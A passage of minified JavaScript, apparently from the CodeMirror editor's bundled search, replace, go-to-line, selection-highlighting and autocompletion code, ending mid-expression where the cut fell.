if(this.curLineStart+this.curLine.length<this.to)this.nextLine(),e=0;else return this.done=!0,this}}}const ho=new WeakMap;class Bi{constructor(e,t){this.from=e,this.text=t}get to(){return this.from+this.text.length}static get(e,t,n){let r=ho.get(e);if(!r||r.from>=n||r.to<=t){let l=new Bi(t,e.sliceString(t,n));return ho.set(e,l),l}if(r.from==t&&r.to==n)return r;let{text:s,from:o}=r;return o>t&&(s=e.sliceString(t,o)+s,o=t),r.to<n&&(s+=e.sliceString(r.to,n)),ho.set(e,new Bi(o,s)),new Bi(t,s.slice(t-o,n-o))}}class rp{constructor(e,t,n,r,s){this.text=e,this.to=s,this.done=!1,this.value=ip,this.matchPos=Jr(e,r),this.re=new RegExp(t,da+(n?.ignoreCase?"i":"")),this.test=n?.test,this.flat=Bi.get(e,r,this.chunkEnd(r+5e3))}chunkEnd(e){return e>=this.to?this.to:this.text.lineAt(e).to}next(){for(;;){let e=this.re.lastIndex=this.matchPos-this.flat.from,t=this.re.exec(this.flat.text);if(t&&!t[0]&&t.index==e&&(this.re.lastIndex=e+1,t=this.re.exec(this.flat.text)),t){let n=this.flat.from+t.index,r=n+t[0].length;if((this.flat.to>=this.to||t.index+t[0].length<=this.flat.text.length-10)&&(!this.test||this.test(n,r,t)))return this.value={from:n,to:r,precise:!0,match:t},this.matchPos=Jr(this.text,r+(n==r?1:0)),this}if(this.flat.to==this.to)return this.done=!0,this;this.flat=Bi.get(this.text,this.flat.from,this.chunkEnd(this.flat.from+this.flat.text.length*2))}}}typeof Symbol<"u"&&(np.prototype[Symbol.iterator]=rp.prototype[Symbol.iterator]=function(){return this});function ES(i){try{return new RegExp(i,da),!0}catch{return!1}}function Jr(i,e){if(e>=i.length)return e;let t=i.lineAt(e),n;for(;e<t.to&&(n=t.text.charCodeAt(e-t.from))>=56320&&n<57344;)e++;return e}const LS=i=>{let{state:e}=i,t=String(e.doc.lineAt(i.state.selection.main.head).number),{close:n,result:r}=Y1(i,{label:e.phrase("Go to line"),input:{type:"text",name:"line",value:t},focus:!0,submitLabel:e.phrase("go")});return r.then(s=>{let o=s&&/^([+-])?(\d+)?(:\d+)?(%)?$/.exec(s.elements.line.value);if(!o){i.dispatch({effects:n});return}let l=e.doc.lineAt(e.selection.main.head),[,a,h,c,f]=o,u=c?+c.slice(1):0,d=h?+h:l.number;if(h&&f){let m=d/100;a&&(m=m*(a=="-"?-1:1)+l.number/e.doc.lines),d=Math.round(e.doc.lines*m)}else h&&a&&(d=d*(a=="-"?-1:1)+l.number);let p=e.doc.line(Math.max(1,Math.min(e.doc.lines,d))),g=v.cursor(p.from+Math.max(0,Math.min(u,p.length)));i.dispatch({effects:[n,A.scrollIntoView(g.from,{y:"center"})],selection:g})}),!0},DS={highlightWordAroundCursor:!1,minSelectionLength:1,maxMatches:100,wholeWords:!1},RS=T.define({combine(i){return kt(i,DS,{highlightWordAroundCursor:(e,t)=>e||t,minSelectionLength:Math.min,maxMatches:Math.min})}});function IS(i){return[WS,_S]}const NS=D.mark({class:"cm-selectionMatch"}),BS=D.mark({class:"cm-selectionMatch cm-selectionMatch-main"});function uc(i,e,t,n){return(t==0||i(e.sliceDoc(t-1,t))!=te.Word)&&(n==e.doc.length||i(e.sliceDoc(n,n+1))!=te.Word)}function FS(i,e,t,n){return i(e.sliceDoc(t,t+1))==te.Word&&i(e.sliceDoc(n-1,n))==te.Word}const _S=se.fromClass(class{constructor(i){this.decorations=this.getDeco(i)}update(i){(i.selectionSet||i.docChanged||i.viewportChanged)&&(this.decorations=this.getDeco(i.view))}getDeco(i){let e=i.state.facet(RS),{state:t}=i,n=t.selection;if(n.ranges.length>1)return D.none;let r=n.main,s,o=null;if(r.empty){if(!e.highlightWordAroundCursor)return D.none;let a=t.wordAt(r.head);if(!a)return D.none;o=t.charCategorizer(r.head),s=t.sliceDoc(a.from,a.to)}else{let a=r.to-r.from;if(a<e.minSelectionLength||a>200)return D.none;if(e.wholeWords){if(s=t.sliceDoc(r.from,r.to),o=t.charCategorizer(r.head),!(uc(o,t,r.from,r.to)&&FS(o,t,r.from,r.to)))return D.none}else if(s=t.sliceDoc(r.from,r.to),!s)return D.none}let l=[];for(let a of i.visibleRanges){let h=new Xi(t.doc,s,a.from,a.to);for(;!h.next().done;){let{from:c,to:f}=h.value;if((!o||uc(o,t,c,f))&&(r.empty&&c<=r.from&&f>=r.to?l.push(BS.range(c,f)):(c>=r.to||f<=r.from)&&l.push(NS.range(c,f)),l.length>e.maxMatches))return D.none}}return D.set(l)}},{decorations:i=>i.decorations}),WS=A.baseTheme({".cm-selectionMatch":{backgroundColor:"#99ff7780"},".cm-searchMatch .cm-selectionMatch":{backgroundColor:"transparent"}}),$S=({state:i,dispatch:e})=>{let{selection:t}=i,n=v.create(t.ranges.map(r=>i.wordAt(r.head)||v.cursor(r.head)),t.mainIndex);return n.eq(t)?!1:(e(i.update({selection:n})),!0)};function HS(i,e){let{main:t,ranges:n}=i.selection,r=i.wordAt(t.head),s=r&&r.from==t.from&&r.to==t.to;for(let o=!1,l=new Xi(i.doc,e,n[n.length-1].to);;)if(l.next(),l.done){if(o)return null;l=new Xi(i.doc,e,0,Math.max(0,n[n.length-1].from-1)),o=!0}else{if(o&&n.some(a=>a.from==l.value.from))continue;if(s){let a=i.wordAt(l.value.from);if(!a||a.from!=l.value.from||a.to!=l.value.to)continue}return l.value}}const VS=({state:i,dispatch:e})=>{let{ranges:t}=i.selection;if(t.some(s=>s.from===s.to))return $S({state:i,dispatch:e});let n=i.sliceDoc(t[0].from,t[0].to);if(i.selection.ranges.some(s=>i.sliceDoc(s.from,s.to)!=n))return!1;let r=HS(i,n);return r?(e(i.update({selection:i.selection.addRange(v.range(r.from,r.to),!1),effects:A.scrollIntoView(r.to)})),!0):!1},tn=T.define({combine(i){return kt(i,{top:!1,caseSensitive:!1,literal:!1,regexp:!1,wholeWord:!1,createPanel:e=>new ik(e),scrollToMatch:e=>A.scrollIntoView(e)})}});class sp{constructor(e){this.search=e.search,this.caseSensitive=!!e.caseSensitive,this.literal=!!e.literal,this.regexp=!!e.regexp,this.replace=e.replace||"",this.valid=!!this.search&&(!this.regexp||ES(this.search)),this.unquoted=this.unquote(this.search),this.wholeWord=!!e.wholeWord,this.test=e.test}unquote(e){return this.literal?e:e.replace(/\\([nrt\\])/g,(t,n)=>n=="n"?`
`:n=="r"?"\r":n=="t"?"	":"\\")}eq(e){return this.search==e.search&&this.replace==e.replace&&this.caseSensitive==e.caseSensitive&&this.regexp==e.regexp&&this.wholeWord==e.wholeWord&&this.test==e.test}create(){return this.regexp?new XS(this):new qS(this)}getCursor(e,t=0,n){let r=e.doc?e:V.create({doc:e});return n==null&&(n=r.doc.length),this.regexp?ki(this,r,t,n):Si(this,r,t,n)}}class op{constructor(e){this.spec=e}}function QS(i,e,t){return(n,r,s,o)=>{if(t&&!t(n,r,s,o))return!1;let l=n>=o&&r<=o+s.length?s.slice(n-o,r-o):e.doc.sliceString(n,r);return i(l,e,n,r)}}function Si(i,e,t,n){let r;return i.wholeWord&&(r=zS(e.doc,e.charCategorizer(e.selection.main.head))),i.test&&(r=QS(i.test,e,r)),new Xi(e.doc,i.unquoted,t,n,i.caseSensitive?void 0:s=>s.toLowerCase(),r)}function zS(i,e){return(t,n,r,s)=>((s>t||s+r.length<n)&&(s=Math.max(0,t-2),r=i.sliceString(s,Math.min(i.length,n+2))),(e(Zr(r,t-s))!=te.Word||e(es(r,t-s))!=te.Word)&&(e(es(r,n-s))!=te.Word||e(Zr(r,n-s))!=te.Word))}class qS extends op{constructor(e){super(e)}nextMatch(e,t,n){let r=Si(this.spec,e,n,e.doc.length).nextOverlapping();if(r.done){let s=Math.min(e.doc.length,t+this.spec.unquoted.length);r=Si(this.spec,e,0,s).nextOverlapping()}return r.done||r.value.from==t&&r.value.to==n?null:r.value}prevMatchInRange(e,t,n){for(let r=n;;){let s=Math.max(t,r-1e4-this.spec.unquoted.length),o=Si(this.spec,e,s,r),l=null;for(;!o.nextOverlapping().done;)l=o.value;if(l)return l;if(s==t)return null;r-=1e4}}prevMatch(e,t,n){let r=this.prevMatchInRange(e,0,t);return r||(r=this.prevMatchInRange(e,Math.max(0,n-this.spec.unquoted.length),e.doc.length)),r&&(r.from!=t||r.to!=n)?r:null}getReplacement(e){return this.spec.unquote(this.spec.replace)}matchAll(e,t){let n=Si(this.spec,e,0,e.doc.length),r=[];for(;!n.next().done;){if(r.length>=t)return null;r.push(n.value)}return r}highlight(e,t,n,r){let s=Si(this.spec,e,Math.max(0,t-this.spec.unquoted.length),Math.min(n+this.spec.unquoted.length,e.doc.length));for(;!s.next().done;)r(s.value.from,s.value.to)}}function US(i,e,t){return(n,r,s)=>(!t||t(n,r,s))&&i(s[0],e,n,r)}function ki(i,e,t,n){let r;return i.wholeWord&&(r=KS(e.charCategorizer(e.selection.main.head))),i.test&&(r=US(i.test,e,r)),new np(e.doc,i.search,{ignoreCase:!i.caseSensitive,test:r},t,n)}function Zr(i,e){return i.slice(pe(i,e,!1),e)}function es(i,e){return i.slice(e,pe(i,e))}function KS(i){return(e,t,n)=>!n[0].length||(i(Zr(n.input,n.index))!=te.Word||i(es(n.input,n.index))!=te.Word)&&(i(es(n.input,n.index+n[0].length))!=te.Word||i(Zr(n.input,n.index+n[0].length))!=te.Word)}class XS extends op{nextMatch(e,t,n){let r=ki(this.spec,e,n,e.doc.length).next();return r.done&&(r=ki(this.spec,e,0,t).next()),r.done?null:r.value}prevMatchInRange(e,t,n){for(let r=1;;r++){let s=Math.max(t,n-r*1e4),o=ki(this.spec,e,s,n),l=null;for(;!o.next().done;)l=o.value;if(l&&(s==t||l.from>s+10))return l;if(s==t)return null}}prevMatch(e,t,n){return this.prevMatchInRange(e,0,t)||this.prevMatchInRange(e,n,e.doc.length)}getReplacement(e){return this.spec.unquote(this.spec.replace).replace(/\$([$&]|\d+)/g,(t,n)=>{if(n=="&")return e.match[0];if(n=="$")return"$";for(let r=n.length;r>0;r--){let s=+n.slice(0,r);if(s>0&&s<e.match.length)return e.match[s]+n.slice(r)}return t})}matchAll(e,t){let n=ki(this.spec,e,0,e.doc.length),r=[];for(;!n.next().done;){if(r.length>=t)return null;r.push(n.value)}return r}highlight(e,t,n,r){let s=ki(this.spec,e,Math.max(0,t-250),Math.min(n+250,e.doc.length));for(;!s.next().done;)r(s.value.from,s.value.to)}}const Nn=N.define(),pa=N.define(),$t=Ae.define({create(i){return new co(kl(i).create(),null)},update(i,e){for(let t of e.effects)t.is(Nn)?i=new co(t.value.create(),i.panel):t.is(pa)&&(i=new co(i.query,t.value?ga:null));return i},provide:i=>Ln.from(i,e=>e.panel)});class co{constructor(e,t){this.query=e,this.panel=t}}const jS=D.mark({class:"cm-searchMatch"}),YS=D.mark({class:"cm-searchMatch cm-searchMatch-selected"}),GS=se.fromClass(class{constructor(i){this.view=i,this.decorations=this.highlight(i.state.field($t))}update(i){let e=i.state.field($t);(e!=i.startState.field($t)||i.docChanged||i.selectionSet||i.viewportChanged)&&(this.decorations=this.highlight(e))}highlight({query:i,panel:e}){if(!e||!i.spec.valid)return D.none;let{view:t}=this,n=new Et;for(let r=0,s=t.visibleRanges,o=s.length;r<o;r++){let{from:l,to:a}=s[r];for(;r<o-1&&a>s[r+1].from-500;)a=s[++r].to;i.highlight(t.state,l,a,(h,c)=>{let f=t.state.selection.ranges.some(u=>u.from==h&&u.to==c);n.add(h,c,f?YS:jS)})}return n.finish()}},{decorations:i=>i.decorations});function Un(i){return e=>{let t=e.state.field($t,!1);return t&&t.query.spec.valid?i(e,t):hp(e)}}const ts=Un((i,{query:e})=>{let{to:t}=i.state.selection.main,n=e.nextMatch(i.state,t,t);if(!n)return!1;let r=v.single(n.from,n.to),s=i.state.facet(tn);return i.dispatch({selection:r,effects:[ma(i,n),s.scrollToMatch(r.main,i)],userEvent:"select.search"}),ap(i),!0}),is=Un((i,{query:e})=>{let{state:t}=i,{from:n}=t.selection.main,r=e.prevMatch(t,n,n);if(!r)return!1;let s=v.single(r.from,r.to),o=i.state.facet(tn);return i.dispatch({selection:s,effects:[ma(i,r),o.scrollToMatch(s.main,i)],userEvent:"select.search"}),ap(i),!0}),JS=Un((i,{query:e})=>{let t=e.matchAll(i.state,1e3);return!t||!t.length?!1:(i.dispatch({selection:v.create(t.map(n=>v.range(n.from,n.to))),userEvent:"select.search.matches"}),!0)}),ZS=({state:i,dispatch:e})=>{let t=i.selection;if(t.ranges.length>1||t.main.empty)return!1;let{from:n,to:r}=t.main,s=[],o=0;for(let l=new Xi(i.doc,i.sliceDoc(n,r));!l.next().done;){if(s.length>1e3)return!1;l.value.from==n&&(o=s.length),s.push(v.range(l.value.from,l.value.to))}return e(i.update({selection:v.create(s,o),userEvent:"select.search.matches"})),!0},dc=Un((i,{query:e})=>{let{state:t}=i,{from:n,to:r}=t.selection.main;if(t.readOnly)return!1;let s=e.nextMatch(t,n,n);if(!s)return!1;let o=s,l=[],a,h,c=[];o.precise?o.from==n&&o.to==r&&(h=t.toText(e.getReplacement(o)),l.push({from:o.from,to:o.to,insert:h}),c.push(A.announce.of(t.phrase("replaced match on line $",t.doc.lineAt(n).number)+"."))):o=e.nextMatch(t,o.from,o.to);let f=i.state.changes(l);return o&&(a=v.single(o.from,o.to).map(f),c.push(ma(i,o)),c.push(t.facet(tn).scrollToMatch(a.main,i))),i.dispatch({changes:f,selection:a,effects:c,userEvent:"input.replace"}),!0}),ek=Un((i,{query:e})=>{if(i.state.readOnly)return!1;let t=[];for(let r of e.matchAll(i.state,1e9)){let{from:s,to:o,precise:l}=r;l&&t.push({from:s,to:o,insert:e.getReplacement(r)})}if(!t.length)return!1;let n=i.state.phrase("replaced $ matches",t.length)+".";return i.dispatch({changes:t,effects:A.announce.of(n),userEvent:"input.replace.all"}),!0});function ga(i){return i.state.facet(tn).createPanel(i)}function kl(i,e){var t,n,r,s,o;let l=i.selection.main,a=l.empty||l.to>l.from+100?"":i.sliceDoc(l.from,l.to);if(e&&!a)return e;let h=i.facet(tn);return new sp({search:((t=e?.literal)!==null&&t!==void 0?t:h.literal)?a:a.replace(/\n/g,"\\n"),caseSensitive:(n=e?.caseSensitive)!==null&&n!==void 0?n:h.caseSensitive,literal:(r=e?.literal)!==null&&r!==void 0?r:h.literal,regexp:(s=e?.regexp)!==null&&s!==void 0?s:h.regexp,wholeWord:(o=e?.wholeWord)!==null&&o!==void 0?o:h.wholeWord})}function lp(i){let e=ia(i,ga);return e&&e.dom.querySelector("[main-field]")}function ap(i){let e=lp(i);e&&e==i.root.activeElement&&e.select()}const hp=i=>{let e=i.state.field($t,!1);if(e&&e.panel){let t=lp(i);if(t&&t!=i.root.activeElement){let n=kl(i.state,e.query.spec);n.valid&&i.dispatch({effects:Nn.of(n)}),t.focus(),t.select()}}else i.dispatch({effects:[pa.of(!0),e?Nn.of(kl(i.state,e.query.spec)):N.appendConfig.of(rk)]});return!0},cp=i=>{let e=i.state.field($t,!1);if(!e||!e.panel)return!1;let t=ia(i,ga);return t&&t.dom.contains(i.root.activeElement)&&i.focus(),i.dispatch({effects:pa.of(!1)}),!0},tk=[{key:"Mod-f",run:hp,scope:"editor search-panel"},{key:"F3",run:ts,shift:is,scope:"editor search-panel",preventDefault:!0},{key:"Mod-g",run:ts,shift:is,scope:"editor search-panel",preventDefault:!0},{key:"Escape",run:cp,scope:"editor search-panel"},{key:"Mod-Shift-l",run:ZS},{key:"Mod-Alt-g",run:LS},{key:"Mod-d",run:VS,preventDefault:!0}];class ik{constructor(e){this.view=e;let t=this.query=e.state.field($t).query.spec;this.commit=this.commit.bind(this),this.searchField=j("input",{value:t.search,placeholder:Ve(e,"Find"),"aria-label":Ve(e,"Find"),class:"cm-textfield",name:"search",form:"","main-field":"true",onchange:this.commit,onkeyup:this.commit}),this.replaceField=j("input",{value:t.replace,placeholder:Ve(e,"Replace"),"aria-label":Ve(e,"Replace"),class:"cm-textfield",name:"replace",form:"",onchange:this.commit,onkeyup:this.commit}),this.caseField=j("input",{type:"checkbox",name:"case",form:"",checked:t.caseSensitive,onchange:this.commit}),this.reField=j("input",{type:"checkbox",name:"re",form:"",checked:t.regexp,onchange:this.commit}),this.wordField=j("input",{type:"checkbox",name:"word",form:"",checked:t.wholeWord,onchange:this.commit});function n(r,s,o){return j("button",{class:"cm-button",name:r,onclick:s,type:"button"},o)}this.dom=j("div",{onkeydown:r=>this.keydown(r),class:"cm-search"},[this.searchField,n("next",()=>ts(e),[Ve(e,"next")]),n("prev",()=>is(e),[Ve(e,"previous")]),n("select",()=>JS(e),[Ve(e,"all")]),j("label",null,[this.caseField,Ve(e,"match case")]),j("label",null,[this.reField,Ve(e,"regexp")]),j("label",null,[this.wordField,Ve(e,"by word")]),...e.state.readOnly?[]:[j("br"),this.replaceField,n("replace",()=>dc(e),[Ve(e,"replace")]),n("replaceAll",()=>ek(e),[Ve(e,"replace all")])],j("button",{name:"close",onclick:()=>cp(e),"aria-label":Ve(e,"close"),type:"button"},["×"])])}commit(){let e=new sp({search:this.searchField.value,caseSensitive:this.caseField.checked,regexp:this.reField.checked,wholeWord:this.wordField.checked,replace:this.replaceField.value});e.eq(this.query)||(this.query=e,this.view.dispatch({effects:Nn.of(e)}))}keydown(e){s1(this.view,e,"search-panel")?e.preventDefault():e.keyCode==13&&e.target==this.searchField?(e.preventDefault(),(e.shiftKey?is:ts)(this.view)):e.keyCode==13&&e.target==this.replaceField&&(e.preventDefault(),dc(this.view))}update(e){for(let t of e.transactions)for(let n of t.effects)n.is(Nn)&&!n.value.eq(this.query)&&this.setQuery(n.value)}setQuery(e){this.query=e,this.searchField.value=e.search,this.replaceField.value=e.replace,this.caseField.checked=e.caseSensitive,this.reField.checked=e.regexp,this.wordField.checked=e.wholeWord}mount(){this.searchField.select()}get pos(){return 80}get top(){return this.view.state.facet(tn).top}}function Ve(i,e){return i.state.phrase(e)}const pr=30,gr=/[\s\.,:;?!]/;function ma(i,{from:e,to:t}){let n=i.state.doc.lineAt(e),r=i.state.doc.lineAt(t).to,s=Math.max(n.from,e-pr),o=Math.min(r,t+pr),l=i.state.sliceDoc(s,o);if(s!=n.from){for(let a=0;a<pr;a++)if(!gr.test(l[a+1])&&gr.test(l[a])){l=l.slice(a);break}}if(o!=r){for(let a=l.length-1;a>l.length-pr;a--)if(!gr.test(l[a-1])&&gr.test(l[a])){l=l.slice(0,a);break}}return A.announce.of(`${i.state.phrase("current match")}. ${l} ${i.state.phrase("on line")} ${n.number}.`)}const nk=A.baseTheme({".cm-panel.cm-search":{padding:"2px 6px 4px",position:"relative","& [name=close]":{position:"absolute",top:"0",right:"4px",backgroundColor:"inherit",border:"none",font:"inherit",padding:0,margin:0},"& input, & button, & label":{margin:".2em .6em .2em 0"},"& input[type=checkbox]":{marginRight:".2em"},"& label":{fontSize:"80%",whiteSpace:"pre"}},"&light .cm-searchMatch":{backgroundColor:"#ffff0054"},"&dark .cm-searchMatch":{backgroundColor:"#00ffff8a"},"&light .cm-searchMatch-selected":{backgroundColor:"#ff6a0054"},"&dark .cm-searchMatch-selected":{backgroundColor:"#ff00ff8a"}}),rk=[$t,yi.low(GS),nk];class fp{constructor(e,t,n,r){this.state=e,this.pos=t,this.explicit=n,this.view=r,this.abortListeners=[],this.abortOnDocChange=!1}tokenBefore(e){let t=Oe(this.state).resolveInner(this.pos,-1);for(;t&&e.indexOf(t.name)<0;)t=t.parent;return t?{from:t.from,to:this.pos,text:this.state.sliceDoc(t.from,this.pos),type:t.type}:null}matchBefore(e){let t=this.state.doc.lineAt(this.pos),n=Math.max(t.from,this.pos-250),r=t.text.slice(n-t.from,this.pos-t.from),s=r.search(up(e,!1));return s<0?null:{from:n+s,to:this.pos,text:r.slice(s)}}get aborted(){return this.abortListeners==null}addEventListener(e,t,n){e=="abort"&&this.abortListeners&&(this.abortListeners.push(t),n&&n.onDocChange&&(this.abortOnDocChange=!0))}}function pc(i){let e=Object.keys(i).join(""),t=/\w/.test(e);return t&&(e=e.replace(/\w/g,"")),`[${t?"\\w":""}${e.replace(/[^\w\s]/g,"\\$&")}]`}function sk(i){let e=Object.create(null),t=Object.create(null);for(let{label:r}of i){e[r[0]]=!0;for(let s=1;s<r.length;s++)t[r[s]]=!0}let n=pc(e)+pc(t)+"*$";return[new RegExp("^"+n),new RegExp(n)]}function ok(i){let e=i.map(r=>typeof r=="string"?{label:r}:r),[t,n]=e.every(r=>/^\w+$/.test(r.label))?[/\w*$/,/\w+$/]:sk(e);return r=>{let s=r.matchBefore(n);return s||r.explicit?{from:s?s.from:r.pos,options:e,validFor:t}:null}}class gc{constructor(e,t,n,r){this.completion=e,this.source=t,this.match=n,this.score=r}}function ui(i){return i.selection.main.from}function up(i,e){var t;let{source:n}=i,r=e&&n[0]!="^",s=n[n.length-1]!="$";return!r&&!s?i:new RegExp(`${r?"^":""}(?:${n})${s?"$":""}`,(t=i.flags)!==null&&t!==void 0?t:i.ignoreCase?"i":"")}const dp=St.define();function lk(i,e,t,n){let{main:r}=i.selection,s=t-r.from,o=n-r.from;return{...i.changeByRange(l=>{if(l!=r&&t!=n&&i.sliceDoc(l.from+s,l.from+o)!=i.sliceDoc(t,n))return{range:l};let a=i.toText(e);return{changes:{from:l.from+s,to:n==r.from?l.to:l.from+o,insert:a},range:v.cursor(l.from+s+a.length)}}),scrollIntoView:!0,userEvent:"input.complete"}}const mc=new WeakMap;function ak(i){if(!Array.isArray(i))return i;let e=mc.get(i);return e||mc.set(i,e=ok(i)),e}const ns=N.define(),Bn=N.define();class hk{constructor(e){this.pattern=e,this.chars=[],this.folded=[],this.any=[],this.precise=[],this.byWord=[],this.score=0,this.matched=[];for(let t=0;t<e.length;){let n=Ie(e,t),r=pt(n);this.chars.push(n);let s=e.slice(t,t+r),o=s.toUpperCase();this.folded.push(Ie(o==s?s.toLowerCase():o,0)),t+=r}this.astral=e.length!=this.chars.length}ret(e,t){return this.score=e,this.matched=t,this}match(e){if(this.pattern.length==0)return this.ret(-100,[]);if(e.length<this.pattern.length)return null;let{chars:t,folded:n,any:r,precise:s,byWord:o}=this;if(t.length==1){let x=Ie(e,0),S=pt(x),M=S==e.length?0:-100;if(x!=t[0])if(x==n[0])M+=-200;else return null;return this.ret(M,[0,S])}let l=e.indexOf(this.pattern);if(l==0)return this.ret(e.length==this.pattern.length?0:-100,[0,this.pattern.length]);let a=t.length,h=0;if(l<0){for(let x=0,S=Math.min(e.length,200);x<S&&h<a;){let M=Ie(e,x);(M==t[h]||M==n[h])&&(r[h++]=x),x+=pt(M)}if(h<a)return null}let c=0,f=0,u=!1,d=0,p=-1,g=-1,m=/[a-z]/.test(e),b=!0;for(let x=0,S=Math.min(e.length,200),M=0;x<S&&f<a;){let k=Ie(e,x);l<0&&(c<a&&k==t[c]&&(s[c++]=x),d<a&&(k==t[d]||k==n[d]?(d==0&&(p=x),g=x+1,d++):d=0));let w,O=k<255?k>=48&&k<=57||k>=97&&k<=122?2:k>=65&&k<=90?1:0:(w=_l(k))!=w.toLowerCase()?1:w!=w.toUpperCase()?2:0;(!x||O==1&&m||M==0&&O!=0)&&(t[f]==k||n[f]==k&&(u=!0)?o[f++]=x:o.length&&(b=!1)),M=O,x+=pt(k)}return f==a&&o[0]==0&&b?this.result(-100+(u?-200:0),o,e):d==a&&p==0?this.ret(-200-e.length+(g==e.length?0:-100),[0,g]):l>-1?this.ret(-700-e.length,[l,l+this.pattern.length]):d==a?this.ret(-900-e.length,[p,g]):f==a?this.result(-100+(u?-200:0)+-700+(b?0:-1100),o,e):t.length==2?null:this.result((r[0]?-700:0)+-200+-1100,r,e)}result(e,t,n){let r=[],s=0;for(let o of t){let l=o+(this.astral?pt(Ie(n,o)):1);s&&r[s-1]==o?r[s-1]=l:(r[s++]=o,r[s++]=l)}return this.ret(e-n.length,r)}}class ck{constructor(e){this.pattern=e,this.matched=[],this.score=0,this.folded=e.toLowerCase()}match(e){if(e.length<this.pattern.length)return null;let t=e.slice(0,this.pattern.length),n=t==this.pattern?0:t.toLowerCase()==this.folded?-200:null;return n==null?null:(this.matched=[0,t.length],this.score=n+(e.length==this.pattern.length?0:-100),this)}}const de=T.define({combine(i){return kt(i,{activateOnTyping:!0,activateOnCompletion:()=>!1,activateOnTypingDelay:100,selectOnOpen:!0,override:null,closeOnBlur:!0,maxRenderedOptions:100,defaultKeymap:!0,tooltipClass:()=>"",optionClass:()=>"",aboveCursor:!1,icons:!0,addToOptions:[],positionInfo:fk,filterStrict:!1,compareCompletions:(e,t)=>(e.sortText||e.label).localeCompare(t.sortText||t.label),interactionDelay:75,updateSyncTime:100},{defaultKeymap:(e,t)=>e&&t,closeOnBlur:(e,t)=>e&&t,icons:(e,t)=>e&&t,tooltipClass:(e,t)=>n=>bc(e(n),t(n)),optionClass:(e,t)=>n=>bc(e(n),t(n)),addToOptions:(e,t)=>e.concat(t),filterStrict:(e,t)=>e||t})}});function bc(i,e){return i?e?i+" "+e:i:e}function fk(i,e,t,n,r,s){let o=i.textDirection==J.RTL,l=o,a=!1,h="top",c,f,u=e.left-r.left,d=r.right-e.right,p=n.right-n.left,g=n.bottom-n.top;if(l&&u<Math.min(p,d)?l=!1:!l&&d<Math.min(p,u)&&(l=!0),p<=(l?u:d))c=Math.max(r.top,Math.min(t.top,r.bottom-g))-e.top,f=Math.min(400,l?u:d);else{a=!0,f=Math.min(400,(o?e.right:r.right-e.left)-30);let x=r.bottom-e.bottom;x>=g||x>e.top?c=t.bottom-e.top:(h="bottom",c=e.bottom-t.top)}let m=(e.bottom-e.top)/s.offsetHeight,b=(e.right-e.left)/s.offsetWidth;return{style:`${h}: ${c/m}px; max-width: ${f/b}px`,class:"cm-completionInfo-"+(a?o?"left-narrow":"right-narrow":l?"left":"right")}}const ba=N.define();function uk(i){let e=i.addToOptions.slice();return i.icons&&e.push({render(t){let n=document.createElement("div");return n.classList.add("cm-completionIcon"),t.type&&n.classList.add(...t.type.split(/\s+/g).map(r=>"cm-completionIcon-"+r)),n.setAttribute("aria-hidden","true"),n},position:20}),e.push({render(t,n,r,s){let o=document.createElement("span");o.className="cm-completionLabel";let l=t.displayLabel||t.label,a=0;for(let h=0;h<s.length;){let c=s[h++],f=s[h++];c>a&&o.appendChild(document.createTextNode(l.slice(a,c)));let u=o.appendChild(document.createElement("span"));u.appendChild(document.createTextNode(l.slice(c,f))),u.className="cm-completionMatchedText",a=f}return a<l.length&&o.appendChild(document.createTextNode(l.slice(a))),o},position:50},{render(t){if(!t.detail)return null;let n=document.createElement("span");return n.className="cm-completionDetail",n.textContent=t.detail,n},position:80}),e.sort((t,n)=>t.position-n.position).map(t=>t.render)}function fo(i,e,t){if(i<=t)return{from:0,to:i};if(e<0&&(e=0),e<=i>>1){let r=Math.floor(e/t);return{from:r*t,to:(r+1)*t}}let n=Math.ceil((i-e)/t);return{from:i-n*t,to:i-(n-1)*t}}class dk{constructor(e,t,n){this.view=e,this.stateField=t,this.applyCompletion=n,this.info=null,this.infoDestroy=null,this.placeInfoReq={read:()=>this.measureInfo(),write:a=>this.placeInfo(a),key:this},this.space=null,this.currentClass="";let r=e.state.field(t),{options:s,selected:o}=r.open,l=e.state.facet(de);this.optionContent=uk(l),this.optionClass=l.optionClass,this.tooltipClass=l.tooltipClass,this.range=fo(s.length,o,l.maxRenderedOptions),this.dom=document.createElement("div"),this.dom.className="cm-tooltip-autocomplete",this.updateTooltipClass(e.state),this.dom.addEventListener("mousedown",a=>{let{options:h}=e.state.field(t).open;for(let c=a.target,f;c&&c!=this.dom;c=c.parentNode)if(c.nodeName=="LI"&&(f=/-(\d+)$/.exec(c.id))&&+f[1]<h.length){this.applyCompletion(e,h[+f[1]]),a.preventDefault();return}if(a.target==this.list){let c=this.list.classList.contains("cm-completionListIncompleteTop")&&a.clientY<this.list.firstChild.getBoundingClientRect().top?this.range.from-1:this.list.classList.contains("cm-completionListIncompleteBottom")&&a.clientY>this.list.lastChild.getBoundingClientRect().bottom?this.range.to:null;c!=null&&(e.dispatch({effects:ba.of(c)}),a.preventDefault())}}),this.dom.addEventListener("focusout",a=>{let h=e.state.field(this.stateField,!1);h&&h.tooltip&&e.state.facet(de).closeOnBlur&&a.relatedTarget!=e.contentDOM&&e.dispatch({effects:Bn.of(null)})}),this.showOptions(s,r.id)}mount(){this.updateSel()}showOptions(e,t){this.list&&this.list.remove(),this.list=this.dom.appendChild(this.createListBox(e,t,this.range)),this.list.addEventListener("scroll",()=>{this.info&&this.view.requestMeasure(this.placeInfoReq)})}update(e){var t;let n=e.state.field(this.stateField),r=e.startState.field(this.stateField);if(this.updateTooltipClass(e.state),n!=r){let{options:s,selected:o,disabled:l}=n.open;(!r.open||r.open.options!=s)&&(this.range=fo(s.length,o,e.state.facet(de).maxRenderedOptions),this.showOptions(s,n.id)),this.updateSel(),l!=((t=r.open)===null||t===void 0?void 0:t.disabled)&&this.dom.classList.toggle("cm-tooltip-autocomplete-disabled",!!l)}}updateTooltipClass(e){let t=this.tooltipClass(e);if(t!=this.currentClass){for(let n of this.currentClass.split(" "))n&&this.dom.classList.remove(n);for(let n of t.split(" "))n&&this.dom.classList.add(n);this.currentClass=t}}positioned(e){this.space=e,this.info&&this.view.requestMeasure(this.placeInfoReq)}updateSel(){let e=this.view.state.field(this.stateField),t=e.open;(t.selected>-1&&t.selected<this.range.from||t.selected>=this.range.to)&&(this.range=fo(t.options.length,t.selected,this.view.state.facet(de).maxRenderedOptions),this.showOptions(t.options,e.id));let n=this.updateSelectedOption(t.selected);if(n){this.destroyInfo();let{completion:r}=t.options[t.selected],{info:s}=r;if(!s)return;let o=typeof s=="string"?document.createTextNode(s):s(r);if(!o)return;"then"in 